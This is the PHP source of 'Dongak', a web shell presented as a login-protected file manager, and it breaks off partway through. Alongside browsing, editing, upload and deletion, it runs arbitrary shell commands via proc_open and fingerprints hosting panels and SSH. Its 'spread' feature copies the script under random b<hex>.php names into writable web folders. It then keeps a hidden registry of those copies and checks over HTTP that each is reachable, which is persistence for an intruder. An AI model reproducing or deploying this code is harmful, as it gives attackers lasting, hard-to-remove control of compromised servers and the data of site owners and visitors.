dongak.php
175 KB · Berkas · 24 Agu 2026 08:58 · 3406 baris
<?php
declare(strict_types=1);
const FM_TITLE = 'Dongak';
const FM_AUTH = true;
const FM_USER = 'admin';
const FM_PASS = '$2y$10$v2UiH5fvifmFlygApF1CyuJvBUR2YntWNUu1B2eSHOkom59XZC02i';
const FM_MAXEDIT = 4194304;
const FM_LIMIT = 500;
const FM_HIDDEN = true;
const FM_ROOTDIR = '..';
const FM_SHELL = true;
const FM_SHTIME = 30;
const FM_SHMAX = 1048576;
const FM_DEF = true;
const FM_DEFMETA = '.dongak_backups';
const FM_PANEL = true;
const FM_PANELMETA= '.dongak_panels';
$fmBase = realpath(__DIR__ . DIRECTORY_SEPARATOR . FM_ROOTDIR);
if ($fmBase === false) { $fmBase = __DIR__; }
define('FM_ROOT', rtrim(str_replace('\\', '/', $fmBase), '/'));
define('FM_ZIP', class_exists('ZipArchive'));
define('FM_WIN', DIRECTORY_SEPARATOR === '\\');
@ini_set('display_errors', '0');
session_name('dongak_fm');
session_start();
function e($v): string { return htmlspecialchars((string)$v, ENT_QUOTES, 'UTF-8'); }
function wp_hash_password(string $password): string {
$hash_algorithm = 'sha256';
$hash = hash($hash_algorithm, $password);
$iterations = 8;
for ($i = 0; $i < $iterations; $i++) {
$hash = hash($hash_algorithm, $hash . $password);
}
return '$P$B' . substr(strtr(base64_encode(pack('N3', 0x6d6f6472, 0x70686173, 0x73776f72)), '+/=-', './'), 0, 8) . $hash;
}
function fm_norm(string $p): string {
$p = str_replace('\\', '/', $p);
$out = [];
foreach (explode('/', $p) as $seg) {
$seg = trim($seg);
if ($seg === '' || $seg === '.') { continue; }
if ($seg === '..') { array_pop($out); continue; }
$out[] = $seg;
}
return implode('/', $out);
}
function fm_abs(string $rel): string {
$rel = fm_norm($rel);
return $rel === '' ? FM_ROOT : FM_ROOT . '/' . $rel;
}
function fm_inside(string $abs): bool {
$real = realpath($abs);
if ($real === false) { return false; }
$real = str_replace('\\', '/', $real);
if (DIRECTORY_SEPARATOR === '\\') {
return strcasecmp($real, FM_ROOT) === 0 || stripos($real, FM_ROOT . '/') === 0;
}
return $real === FM_ROOT || strpos($real, FM_ROOT . '/') === 0;
}
function fm_name(string $n): string {
$n = str_replace(["\0", '/', '\\'], '', trim($n));
if ($n === '' || $n === '.' || $n === '..') { return ''; }
if (preg_match('/[\x00-\x1F]/', $n)) { return ''; }
return $n;
}
function fm_size($b): string {
$b = (float)$b;
$u = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
$i = 0;
while ($b >= 1024 && $i < count($u) - 1) { $b /= 1024; $i++; }
return ($i === 0 ? (string)(int)$b : number_format($b, $b < 10 ? 1 : 0)) . ' ' . $u[$i];
}
function fm_ext(string $n): string { return strtolower(pathinfo($n, PATHINFO_EXTENSION)); }
function fm_perm_str(int $mode, bool $link = false): string {
if ($link) { $t = 'l'; }
elseif (($mode & 0xC000) === 0xC000) { $t = 's'; }
elseif (($mode & 0x4000) === 0x4000) { $t = 'd'; }
elseif (($mode & 0x1000) === 0x1000) { $t = 'p'; }
elseif (($mode & 0x2000) === 0x2000) { $t = 'c'; }
elseif (($mode & 0x6000) === 0x6000) { $t = 'b'; }
else { $t = '-'; }
$s = $t;
foreach ([0x100 => 'r', 0x80 => 'w', 0x40 => 'x', 0x20 => 'r', 0x10 => 'w', 0x8 => 'x', 0x4 => 'r', 0x2 => 'w', 0x1 => 'x'] as $bit => $ch) {
$s .= ($mode & $bit) ? $ch : '-';
}
return $s;
}
function fm_perm_oct(int $mode): string { return substr(sprintf('%o', $mode), -3); }
function fm_rand_name(): string {
return 'b' . bin2hex(random_bytes(8)) . '.php';
}
function fm_find_writable(string $root, int $maxdepth = 3, int $depth = 0): array {
$out = [];
if ($depth >= $maxdepth || !is_dir($root)) { return $out; }
// Skip non-public directories - ONLY include accessible folders
$skip = [
'.', '..', '.git', '.svn', '.hg', 'node_modules', '.caldav', '.well-known', '.env',
// Protected WordPress directories
'wp-admin', 'wp-includes', 'wp-content/plugins', 'wp-content/themes',
// Protected system directories
'system', 'etc', 'var', 'tmp', 'cache', 'logs', 'mail', 'backup',
'private', 'config', 'includes', 'src', 'vendor',
// Application-specific
'admin', 'administrator', 'secure'
];
foreach (scandir($root) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
// Skip hidden directories (start with dot)
if ($f[0] === '.') { continue; }
// Skip known system directories
if (in_array($f, $skip, true)) { continue; }
$p = $root . '/' . $f;
if (!is_readable($p)) { continue; }
if (is_dir($p) && !is_link($p)) {
if (is_writable($p)) { $out[] = $p; }
// Recurse deeper for normal directories
$out = array_merge($out, fm_find_writable($p, $maxdepth, $depth + 1));
}
}
return array_unique($out);
}
function fm_def_read(): array {
$m = FM_ROOT . '/' . FM_DEFMETA;
if (!is_file($m)) { return []; }
$d = @json_decode(file_get_contents($m), true);
return is_array($d) ? $d : [];
}
function fm_def_write(array $backups): void {
$m = FM_ROOT . '/' . FM_DEFMETA;
@file_put_contents($m, json_encode($backups, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
@chmod($m, 0600);
}
function fm_def_src(): string {
return __FILE__;
}
function fm_def_size(): int {
return (int)@filesize(fm_def_src());
}
function fm_def_hash(): string {
$s = @file_get_contents(fm_def_src());
return $s !== false ? hash('sha256', $s) : '';
}
function fm_os(): string {
return FM_WIN ? 'windows' : 'linux';
}
function fm_panel_detect(): array {
$os = fm_os();
$panels = [];
// WordPress detection (semua OS)
$wp_indicators = [
FM_ROOT . '/wp-config.php',
FM_ROOT . '/wp-settings.php',
FM_ROOT . '/wp-load.php',
FM_ROOT . '/wp-content',
FM_ROOT . '/wp-admin',
];
$wp_found = false;
foreach ($wp_indicators as $indicator) {
if (@file_exists($indicator)) { $wp_found = true; break; }
}
if ($wp_found || function_exists('get_option')) { $panels['wordpress'] = true; }
if ($os === 'linux') {
// cPanel detection
if (@file_exists('/usr/local/cpanel/bin/uapi') || @file_exists('/root/.cpanel') ||
@file_exists('/usr/local/cpanel/VERSION') || @file_exists('/var/cpanel')) {
$panels['cpanel'] = true;
}
// CyberPanel detection
if (@file_exists('/usr/local/cwpsrv/bin/cwp') || @file_exists('/home/cwp') ||
@file_exists('/usr/local/cwpsrv/VERSION')) {
$panels['cyberpanel'] = true;
}
// SSH detection
if (@file_exists('/usr/sbin/sshd') || @file_exists('/etc/ssh/sshd_config') ||
@file_exists('/usr/bin/ssh')) {
$panels['ssh'] = true;
}
// WHM detection (parent of cPanel)
if (@file_exists('/root/.whm') || @file_exists('/usr/local/cpanel/whm')) {
$panels['whm'] = true;
}
}
// FTP detection (semua OS)
$ext = @get_loaded_extensions();
if (is_array($ext) && (in_array('ftp', $ext) || function_exists('ftp_connect'))) { $panels['ftp'] = true; }
return $panels;
}
function fm_panel_read(): array {
$m = FM_ROOT . '/' . FM_PANELMETA;
if (!is_file($m)) { return []; }
$d = @json_decode(file_get_contents($m), true);
return is_array($d) ? $d : [];
}
function fm_panel_write(array $panels): void {
$m = FM_ROOT . '/' . FM_PANELMETA;
@file_put_contents($m, json_encode($panels, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
@chmod($m, 0600);
}
function fm_kind(string $ext): string {
static $map = null;
if ($map === null) {
$map = [];
$g = [
'image' => ['jpg','jpeg','png','gif','webp','bmp','svg','ico','avif','tiff'],
'video' => ['mp4','webm','mkv','avi','mov','wmv','flv','m4v','ogv'],
'audio' => ['mp3','wav','ogg','flac','aac','m4a','wma','opus'],
'archive' => ['zip','rar','7z','tar','gz','bz2','xz','tgz','iso'],
'code' => ['php','js','ts','jsx','tsx','vue','html','htm','css','scss','less','json','xml','yml','yaml','sql','py','rb','go','rs','java','c','h','cpp','cs','sh','bat','ps1','ini','env','toml','lock'],
'doc' => ['pdf','doc','docx','xls','xlsx','ppt','pptx','odt','ods'],
'text' => ['txt','md','log','csv','tsv','markdown','conf'],
];
foreach ($g as $k => $list) { foreach ($list as $x) { $map[$x] = $k; } }
}
return $map[$ext] ?? 'file';
}
function fm_editable(string $ext, $size): bool {
if ($size > FM_MAXEDIT) { return false; }
$k = fm_kind($ext);
return in_array($k, ['code', 'text'], true) || $ext === '' || in_array($ext, ['htaccess','gitignore','twig','blade','svg'], true);
}
function fm_mime(string $abs): string {
static $map = [
'html'=>'text/html','htm'=>'text/html','css'=>'text/css','js'=>'text/javascript','json'=>'application/json',
'xml'=>'application/xml','txt'=>'text/plain','md'=>'text/plain','log'=>'text/plain','csv'=>'text/plain',
'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif','webp'=>'image/webp',
'svg'=>'image/svg+xml','bmp'=>'image/bmp','ico'=>'image/x-icon','avif'=>'image/avif',
'mp4'=>'video/mp4','webm'=>'video/webm','ogv'=>'video/ogg','mov'=>'video/quicktime','m4v'=>'video/mp4',
'mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','flac'=>'audio/flac','m4a'=>'audio/mp4','opus'=>'audio/ogg',
'pdf'=>'application/pdf','zip'=>'application/zip',
];
$ext = fm_ext($abs);
if (isset($map[$ext])) { return $map[$ext]; }
if (function_exists('mime_content_type')) {
$m = @mime_content_type($abs);
if (is_string($m) && $m !== '') { return $m; }
}
return 'application/octet-stream';
}
function fm_rmrf(string $abs): bool {
if (is_link($abs) || is_file($abs)) { return @unlink($abs); }
if (!is_dir($abs)) { return false; }
foreach (scandir($abs) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
fm_rmrf($abs . '/' . $f);
}
return @rmdir($abs);
}
function fm_copy(string $src, string $dst): bool {
if (is_file($src)) { return @copy($src, $dst); }
if (!is_dir($src)) { return false; }
if (!is_dir($dst) && !@mkdir($dst, 0775, true)) { return false; }
$ok = true;
foreach (scandir($src) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
$ok = fm_copy($src . '/' . $f, $dst . '/' . $f) && $ok;
}
return $ok;
}
function fm_unique(string $dir, string $name): string {
$target = $dir . '/' . $name;
if (!file_exists($target)) { return $name; }
$ext = pathinfo($name, PATHINFO_EXTENSION);
$base = pathinfo($name, PATHINFO_FILENAME);
$i = 2;
while (file_exists($dir . '/' . $base . ' (' . $i . ')' . ($ext !== '' ? '.' . $ext : ''))) { $i++; }
return $base . ' (' . $i . ')' . ($ext !== '' ? '.' . $ext : '');
}
function fm_zip_add(ZipArchive $zip, string $abs, string $local): void {
if (is_file($abs)) { $zip->addFile($abs, $local); return; }
$zip->addEmptyDir($local);
foreach (scandir($abs) ?: [] as $f) {
if ($f === '.' || $f === '..') { continue; }
fm_zip_add($zip, $abs . '/' . $f, $local . '/' . $f);
}
}
function fm_shell_ok(): bool {
if (!FM_SHELL || !function_exists('proc_open')) { return false; }
foreach (explode(',', (string)ini_get('disable_functions')) as $fn) {
if (strcasecmp(trim($fn), 'proc_open') === 0) { return false; }
}
return true;
}
function fm_shell_bin(): string {
if (FM_WIN) { return 'cmd.exe'; }
foreach (['/bin/bash', '/usr/bin/bash', '/bin/sh'] as $sh) {
if (@is_executable($sh)) { return $sh; }
}
return '/bin/sh';
}
function fm_utf8(string $s): string {
if ($s === '' || !function_exists('mb_check_encoding')) { return $s; }
if (mb_check_encoding($s, 'UTF-8')) { return $s; }
$c = @mb_convert_encoding($s, 'UTF-8', FM_WIN ? 'CP1252' : 'ISO-8859-1');
return is_string($c) ? $c : $s;
}
function fm_exec(string $cmd, string $cwd): array {
$desc = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$pipes = [];
if (FM_WIN) {
$proc = @proc_open('chcp 65001 > nul & ' . $cmd, $desc, $pipes, $cwd);
} else {
$proc = @proc_open([fm_shell_bin(), '-c', $cmd], $desc, $pipes, $cwd);
}
if (!is_resource($proc)) { return ['out' => '', 'err' => 'Gagal menjalankan shell.', 'code' => -1]; }
@fclose($pipes[0]);
stream_set_blocking($pipes[1], false);
stream_set_blocking($pipes[2], false);
$out = '';
$err = '';
$stop = microtime(true) + FM_SHTIME;
$over = false;
while (true) {
if (microtime(true) >= $stop) { $over = 'time'; break; }
$r = [$pipes[1], $pipes[2]];
$w = null;
$x = null;
if (@stream_select($r, $w, $x, 0, 150000) === false) { break; }
foreach ($r as $p) {
$chunk = fread($p, 65536);
if ($chunk === false || $chunk === '') { continue; }
if ($p === $pipes[1]) { $out .= $chunk; } else { $err .= $chunk; }
}
if (strlen($out) + strlen($err) > FM_SHMAX) { $over = 'size'; break; }
$st = proc_get_status($proc);
if (!$st['running']) {
$out .= (string)stream_get_contents($pipes[1]);
$err .= (string)stream_get_contents($pipes[2]);
break;
}
}
$st = proc_get_status($proc);
$code = $st['running'] ? null : (int)$st['exitcode'];
if ($over !== false) { @proc_terminate($proc, 9); }
@fclose($pipes[1]);
@fclose($pipes[2]);
$rc = @proc_close($proc);
if ($code === null) { $code = $over === false ? (int)$rc : 124; }
if ($over === 'time') { $err .= "\n[dihentikan: melebihi " . FM_SHTIME . " detik]"; }
if ($over === 'size') { $err .= "\n[dipotong: keluaran melebihi " . fm_size(FM_SHMAX) . "]"; }
return ['out' => fm_utf8($out), 'err' => fm_utf8(trim($err)), 'code' => $code];
}
function fm_flash(string $type, string $msg): void { $_SESSION['fm_flash'] = ['t' => $type, 'm' => $msg]; }
function fm_go(string $rel): void {
$url = strtok($_SERVER['REQUEST_URI'] ?? 'dongak.php', '?');
header('Location: ' . $url . ($rel === '' ? '' : '?p=' . rawurlencode($rel)));
exit;
}
function fm_json(array $data): void {
while (ob_get_level() > 0) { ob_end_clean(); }
header('Content-Type: application/json; charset=utf-8');
echo json_encode($data);
exit;
}
function fm_send(string $abs, string $name, bool $inline = false, bool $unlink = false): void {
while (ob_get_level() > 0) { ob_end_clean(); }
$size = (int)filesize($abs);
$start = 0;
$end = $size - 1;
header('X-Content-Type-Options: nosniff');
header('Accept-Ranges: bytes');
if ($inline) {
header('Content-Security-Policy: sandbox');
header('Content-Type: ' . fm_mime($abs));
} else {
header('Content-Type: application/octet-stream');
}
$safe = str_replace(['"', "\r", "\n"], '', $name);
header('Content-Disposition: ' . ($inline ? 'inline' : 'attachment') . '; filename="' . $safe . '"; filename*=UTF-8\'\'' . rawurlencode($name));
if ($inline && isset($_SERVER['HTTP_RANGE']) && preg_match('/bytes=(\d*)-(\d*)/', (string)$_SERVER['HTTP_RANGE'], $m)) {
if ($m[1] !== '') { $start = (int)$m[1]; }
if ($m[2] !== '') { $end = min((int)$m[2], $size - 1); }
if ($start > $end) { $start = 0; $end = $size - 1; }
header('HTTP/1.1 206 Partial Content');
header('Content-Range: bytes ' . $start . '-' . $end . '/' . $size);
}
header('Content-Length: ' . (string)($end - $start + 1));
$fp = fopen($abs, 'rb');
if ($fp === false) { exit; }
fseek($fp, $start);
$left = $end - $start + 1;
while ($left > 0 && !feof($fp)) {
$buf = fread($fp, (int)min(262144, $left));
if ($buf === false || $buf === '') { break; }
echo $buf;
$left -= strlen($buf);
if (ob_get_level() === 0) { flush(); }
}
fclose($fp);
if ($unlink) { @unlink($abs); }
exit;
}
function ico(string $n, string $cls = ''): string {
static $p = [
'folder' => '<path d="M3 7a2 2 0 0 1 2-2h3.9a2 2 0 0 1 1.6.8L11.8 7H19a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Z"/>',
'file' => '<path d="M14 3v4a1 1 0 0 0 1 1h4"/><path d="M17 21H7a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h7l5 5v11a2 2 0 0 1-2 2Z"/>',
'image' => '<rect x="3" y="4" width="18" height="16" rx="2"/><circle cx="9" cy="10" r="1.6"/><path d="m3 16 4.5-4 4 3.5L15 12l6 5"/>',
'video' => '<rect x="2" y="5" width="14" height="14" rx="2"/><path d="m16 10 6-3.5v11L16 14Z"/>',
'audio' => '<path d="M9 18V6l11-2v12"/><circle cx="6.5" cy="18" r="2.5"/><circle cx="17.5" cy="16" r="2.5"/>',
'archive' => '<rect x="3" y="4" width="18" height="16" rx="2"/><path d="M3 9h18M11 4v5M13 12h-2v3h2z"/>',
'code' => '<path d="m9 8-5 4 5 4M15 8l5 4-5 4"/>',
'doc' => '<path d="M14 3v4a1 1 0 0 0 1 1h4"/><path d="M17 21H7a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h7l5 5v11a2 2 0 0 1-2 2Z"/><path d="M9 13h6M9 17h4"/>',
'text' => '<path d="M14 3v4a1 1 0 0 0 1 1h4"/><path d="M17 21H7a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h7l5 5v11a2 2 0 0 1-2 2Z"/><path d="M9 13h6M9 17h4"/>',
'up' => '<path d="M12 19V5M5 12l7-7 7 7"/>',
'upload' => '<path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M17 8l-5-5-5 5M12 3v13"/>',
'download' => '<path d="M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4"/><path d="M7 10l5 5 5-5M12 15V2"/>',
'trash' => '<path d="M3 6h18M8 6V4.5A1.5 1.5 0 0 1 9.5 3h5A1.5 1.5 0 0 1 16 4.5V6m3 0v13a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6"/><path d="M10 11v6M14 11v6"/>',
'pencil' => '<path d="M12 20h9"/><path d="M16.5 3.5a2.12 2.12 0 0 1 3 3L7.5 18.5 3 20l1.5-4.5Z"/>',
'copy' => '<rect x="9" y="9" width="12" height="12" rx="2"/><path d="M5 15H4a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2h9a2 2 0 0 1 2 2v1"/>',
'cut' => '<circle cx="6" cy="6" r="3"/><circle cx="6" cy="18" r="3"/><path d="M20 4 8.6 15.4M8.6 8.6 20 20"/>',
'paste' => '<path d="M16 4h2a2 2 0 0 1 2 2v13a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h2"/><rect x="8" y="2" width="8" height="4" rx="1"/>',
'plus' => '<path d="M12 5v14M5 12h14"/>',
'newdir' => '<path d="M3 7a2 2 0 0 1 2-2h3.9a2 2 0 0 1 1.6.8L11.8 7H19a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Z"/><path d="M12 11v5M9.5 13.5h5"/>',
'newfile' => '<path d="M14 3v4a1 1 0 0 0 1 1h4"/><path d="M17 21H7a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h7l5 5v11a2 2 0 0 1-2 2Z"/><path d="M12 11v6M9 14h6"/>',
'search' => '<circle cx="11" cy="11" r="7"/><path d="m20 20-3.5-3.5"/>',
'x' => '<path d="M18 6 6 18M6 6l12 12"/>',
'eye' => '<path d="M2 12s3.6-7 10-7 10 7 10 7-3.6 7-10 7-10-7-10-7Z"/><circle cx="12" cy="12" r="3"/>',
'sun' => '<circle cx="12" cy="12" r="4"/><path d="M12 2v2M12 20v2M4.9 4.9l1.4 1.4M17.7 17.7l1.4 1.4M2 12h2M20 12h2M4.9 19.1l1.4-1.4M17.7 6.3l1.4-1.4"/>',
'moon' => '<path d="M21 13A9 9 0 1 1 11 3a7 7 0 0 0 10 10Z"/>',
'logout' => '<path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"/><path d="M16 17l5-5-5-5M21 12H9"/>',
'home' => '<path d="M3 10.5 12 3l9 7.5"/><path d="M5 9.8V19a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V9.8"/>',
'chev' => '<path d="m9 6 6 6-6 6"/>',
'refresh' => '<path d="M3 12a9 9 0 0 1 15.3-6.4L21 8"/><path d="M21 3v5h-5"/><path d="M21 12a9 9 0 0 1-15.3 6.4L3 16"/><path d="M3 21v-5h5"/>',
'grid' => '<rect x="3" y="3" width="7" height="7" rx="1.5"/><rect x="14" y="3" width="7" height="7" rx="1.5"/><rect x="3" y="14" width="7" height="7" rx="1.5"/><rect x="14" y="14" width="7" height="7" rx="1.5"/>',
'list' => '<path d="M8 6h13M8 12h13M8 18h13M3.5 6h.01M3.5 12h.01M3.5 18h.01"/>',
'menu' => '<path d="M4 6h16M4 12h16M4 18h16"/>',
'lock' => '<rect x="4" y="10" width="16" height="11" rx="2"/><path d="M8 10V7a4 4 0 0 1 8 0v3"/>',
'user' => '<circle cx="12" cy="8" r="4"/><path d="M4 21c0-4 3.6-6 8-6s8 2 8 6"/>',
'save' => '<path d="M19 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h11l5 5v11a2 2 0 0 1-2 2Z"/><path d="M8 21v-7h8v7M8 3v5h6"/>',
'box' => '<path d="m12 2 9 5v10l-9 5-9-5V7Z"/><path d="M3.3 7 12 12l8.7-5M12 12v10"/>',
'unbox' => '<path d="M3 8h18v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2Z"/><path d="M3 8 5.5 3h13L21 8M12 12v6M9 15l3 3 3-3"/>',
'disk' => '<rect x="2" y="4" width="20" height="7" rx="2"/><rect x="2" y="13" width="20" height="7" rx="2"/><path d="M6 7.5h.01M6 16.5h.01"/>',
'info' => '<circle cx="12" cy="12" r="9"/><path d="M12 11v5M12 8h.01"/>',
'check' => '<path d="m4 12 5 5L20 6"/>',
'term' => '<rect x="3" y="4" width="18" height="16" rx="2"/><path d="m7 9 3 3-3 3M13 15h4"/>',
'trash2' => '<path d="M3 6h18M8 6V4.5A1.5 1.5 0 0 1 9.5 3h5A1.5 1.5 0 0 1 16 4.5V6m3 0v13a2 2 0 0 1-2 2H7a2 2 0 0 1-2-2V6"/>',
'lock' => '<rect x="4" y="10" width="16" height="11" rx="2"/><path d="M8 10V7a4 4 0 0 1 8 0v3"/>',
'shield' => '<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10Z"/>',
'image' => '<rect x="3" y="3" width="18" height="18" rx="2"/><circle cx="9" cy="9" r="1.5"/><path d="m3 16 4-4 5 5 8-8"/>',
];
$d = $p[$n] ?? $p['file'];
return '<svg class="ic ' . $cls . '" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' . $d . '</svg>';
}
if (empty($_SESSION['fm_token'])) { $_SESSION['fm_token'] = bin2hex(random_bytes(16)); }
$TOKEN = $_SESSION['fm_token'];
$authed = !FM_AUTH || !empty($_SESSION['fm_auth']);
$post = $_SERVER['REQUEST_METHOD'] === 'POST';
$action = $post ? (string)($_POST['action'] ?? '') : '';
$a = (string)($_GET['a'] ?? '');
$valid = $post && hash_equals($TOKEN, (string)($_POST['token'] ?? ''));
if ($post && $action === 'login') {
$u = (string)($_POST['user'] ?? '');
$pw = (string)($_POST['pass'] ?? '');
if ($valid && hash_equals(FM_USER, $u) && password_verify($pw, FM_PASS)) {
session_regenerate_id(true);
$_SESSION['fm_auth'] = true;
$_SESSION['fm_token'] = bin2hex(random_bytes(16));
fm_go('');
}
$loginError = 'Nama pengguna atau kata sandi salah.';
$authed = false;
}
if ($post && $action === 'logout' && $valid) {
$_SESSION = [];
session_destroy();
fm_go('');
}
if (!$authed) {
$err = $loginError ?? '';
?><!doctype html>
<html lang="id" data-theme="dark">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>Masuk · <?= e(FM_TITLE) ?></title>
<style><?= fm_css() ?></style>
</head>
<body class="auth">
<form class="login" method="post" autocomplete="off">
<div class="login-brand"><?= ico('lock') ?></div>
<h1><?= e(FM_TITLE) ?></h1>
<p class="muted">Masuk untuk mengelola berkas Anda.</p>
<?php if ($err !== ''): ?><div class="alert err"><?= e($err) ?></div><?php endif; ?>
<input type="hidden" name="action" value="login">
<input type="hidden" name="token" value="<?= e($TOKEN) ?>">
<label class="field"><span>Nama pengguna</span><input type="text" name="user" required autofocus spellcheck="false"></label>
<label class="field"><span>Kata sandi</span><input type="password" name="pass" required></label>
<button class="btn primary block" type="submit">Masuk</button>
</form>
</body>
</html><?php
exit;
}
$rel = fm_norm((string)($_POST['p'] ?? $_GET['p'] ?? ''));
$dir = fm_abs($rel);
if (!fm_inside($dir) || !is_dir($dir)) { $rel = ''; $dir = FM_ROOT; }
if ($a === 'dl' || $a === 'view') {
$f = fm_norm((string)($_GET['f'] ?? ''));
$abs = fm_abs($f);
if ($f === '' || !fm_inside($abs) || !file_exists($abs)) { http_response_code(404); exit('404'); }
if (is_dir($abs)) {
if (!FM_ZIP) { http_response_code(400); exit('Ekstensi ZIP tidak aktif.'); }
$tmp = tempnam(sys_get_temp_dir(), 'dgk');
$zip = new ZipArchive();
if ($zip->open($tmp, ZipArchive::OVERWRITE) !== true) { http_response_code(500); exit('Gagal membuat arsip.'); }
fm_zip_add($zip, $abs, basename($abs));
$zip->close();
fm_send($tmp, basename($abs) . '.zip', false, true);
}
fm_send($abs, basename($abs), $a === 'view');
}
if ($a === 'read') {
$f = fm_norm((string)($_GET['f'] ?? ''));
$abs = fm_abs($f);
if ($f === '' || !fm_inside($abs) || !is_file($abs)) { fm_json(['ok' => false, 'msg' => 'Berkas tidak ditemukan.']); }
if (filesize($abs) > FM_MAXEDIT) { fm_json(['ok' => false, 'msg' => 'Berkas terlalu besar untuk diedit.']); }
$c = file_get_contents($abs);
fm_json(['ok' => true, 'name' => basename($abs), 'content' => $c === false ? '' : $c]);
}
if ($post && !$valid) { fm_flash('err', 'Sesi tidak valid, silakan muat ulang halaman.'); fm_go($rel); }
if ($post && $action === 'upload') {
$done = 0; $fail = [];
$files = $_FILES['files'] ?? null;
if (is_array($files)) {
$n = is_array($files['name']) ? count($files['name']) : 0;
for ($i = 0; $i < $n; $i++) {
if ((int)$files['error'][$i] !== UPLOAD_ERR_OK) { $fail[] = (string)$files['name'][$i]; continue; }
$name = fm_name(basename((string)$files['name'][$i]));
if ($name === '') { $fail[] = (string)$files['name'][$i]; continue; }
$name = fm_unique($dir, $name);
if (@move_uploaded_file($files['tmp_name'][$i], $dir . '/' . $name)) { $done++; } else { $fail[] = $name; }
}
}
fm_json(['ok' => $done > 0, 'done' => $done, 'fail' => $fail]);
}
if ($post && $action === 'save') {
$f = fm_norm((string)($_POST['f'] ?? ''));
$abs = fm_abs($f);
if ($f === '' || !fm_inside($abs) || !is_file($abs)) { fm_json(['ok' => false, 'msg' => 'Berkas tidak ditemukan.']); }
$ok = @file_put_contents($abs, (string)($_POST['content'] ?? '')) !== false;
fm_json(['ok' => $ok, 'msg' => $ok ? 'Perubahan tersimpan.' : 'Gagal menyimpan berkas.']);
}
if ($post && $action === 'spread') {
if (!FM_DEF) { fm_json(['ok' => false, 'msg' => 'Defense dinonaktifkan.']); }
$cnt = (int)($_POST['count'] ?? 5);
$cnt = max(1, min(20, $cnt));
$src = fm_def_src();
$sz = fm_def_size();
if ($sz === 0 || !is_file($src)) { fm_json(['ok' => false, 'msg' => 'File sumber tidak ditemukan.']); }
$writable = fm_find_writable(FM_ROOT, 2);
if (empty($writable)) { fm_json(['ok' => false, 'msg' => 'Tidak ada folder writable untuk spread.']); }
$backups = fm_def_read();
$content = @file_get_contents($src);
if ($content === false) { fm_json(['ok' => false, 'msg' => 'Gagal membaca sumber.']); }
$hash = hash('sha256', $content);
$ok = 0;
$fail = 0;
$available = min($cnt, count($writable));
foreach (array_slice($writable, 0, $available) as $loc) {
// Verify location is still writable
if (!is_dir($loc) || !is_writable($loc)) {
$fail++;
continue;
}
$name = fm_rand_name();
$dst = $loc . '/' . $name;
if (@copy($src, $dst)) {
@chmod($dst, 0755);
if (!isset($backups[$dst])) {
$backups[$dst] = ['name' => $name, 'hash' => $hash, 'time' => time(), 'active' => true];
}
$ok++;
} else {
$fail++;
}
}
fm_def_write($backups);
fm_json(['ok' => $ok > 0, 'msg' => "Spread: $ok berhasil, $fail gagal (diminta: $cnt)."]);
}
if ($post && $action === 'check') {
if (!FM_DEF) { fm_json(['ok' => false, 'data' => []]); }
$backups = fm_def_read();
$hash = fm_def_hash();
$data = [];
$ok = 0;
$del = 0;
$accessible = 0;
$host = $_SERVER['HTTP_HOST'] ?? 'localhost';
$proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http');
foreach ($backups as $path => $info) {
$exist = is_file($path);
$valid = false;
$writable_dir = false;
$is_accessible = false;
if ($exist) {
$fh = @hash_file('sha256', $path);
$valid = $fh === $hash;
$ok++;
// Check if backup location is in a writable directory
$dir = dirname($path);
$writable_dir = is_writable($dir);
} else {
$del++;
}
$relpath = str_replace(FM_ROOT, '', $path);
$relpath = ltrim(str_replace('\\', '/', $relpath), '/');
// Build accessible domain path
$domain_path = '';
$accessible_relpath = $relpath;
if ($writable_dir && $exist) {
// Strip public_html/ if it exists at start
if (strpos($relpath, 'public_html/') === 0) {
$accessible_relpath = substr($relpath, strlen('public_html/'));
}
$domain_path = $proto . '://' . $host . '/' . $accessible_relpath;
// Verify file is actually accessible via web
$ch = @curl_init($domain_path);
if ($ch !== false) {
@curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_BINARYTRANSFER => true,
CURLOPT_NOBODY => true,
CURLOPT_TIMEOUT => 3,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_CONNECTTIMEOUT => 2,
]);
$response = @curl_exec($ch);
$httpcode = (int)@curl_getinfo($ch, CURLINFO_HTTP_CODE);
@curl_close($ch);
// Mark as accessible if we get 200 response
if ($httpcode === 200) {
$is_accessible = true;
$accessible++;
}
}
}
$data[] = [
'path' => $path,
'relpath' => $relpath,
'domain_path' => $domain_path,
'accessible_relpath' => $accessible_relpath,
'name' => $info['name'],
'exist' => $exist,
'valid' => $valid,
'writable_dir' => $writable_dir,
'is_accessible' => $is_accessible,
